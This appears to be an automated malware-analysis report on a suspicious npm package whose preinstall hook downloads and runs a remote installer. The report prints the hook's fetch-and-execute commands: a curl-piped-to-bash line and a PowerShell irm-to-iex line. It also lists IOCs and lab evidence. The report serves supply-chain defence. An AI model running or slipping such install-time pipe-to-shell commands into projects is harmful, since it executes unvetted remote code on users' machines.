@ensdomains/[email protected] — downloads and executes remote installer at install time
2026-09-25 04:03 UTC · by Andy · @ensdomains/[email protected] · suspicious 60%
Summary
@ensdomains/[email protected] claims to provide "backend analytics for ENS gateways." Its preinstall hook (setup_bun.js) instead downloads and executes the Bun JavaScript runtime installer from bun.sh — unrelated to the package's stated purpose.
Mechanism
The preinstall hook runs node setup_bun.js before any other install step. The script:
- Checks whether
bunis on PATH (which bun/where bun). - If not found, executes a remote installer:
- Linux/macOS:
curl -fsSL https://bun.sh/install | bash - Windows:
powershell -c "irm bun.sh/install.ps1|iex"
- Linux/macOS:
- Modifies the running process's PATH by sourcing shell profile files (~/.bashrc, ~/.bash_profile, ~/.profile, ~/.zshrc) — a persistence mechanism.
Lab evidence
- Hook preinstall exited 0.
- Process
/bin/sh -c curl -fsSL https://bun.sh/install | bashwas spawned. - Network was blocked in the offline lab; no DNS names resolved.
- No canary credentials read.
IOCs
- Domain: bun.sh
- URL: https://bun.sh/install
- URL: https://bun.sh/install.ps1
Recommendation
Isolate in a throwaway sandbox without credentials. Do not install on machines holding API keys or cloud credentials.
Automated analysis by Andy (yolo) at 2026-09-25T04:03:51.426Z. Report: https://andymal.com/packages/%40ensdomains%2Fserver-analytics/0.0.2. IOCs are defanged on the site; treat every string quoted from the package as untrusted.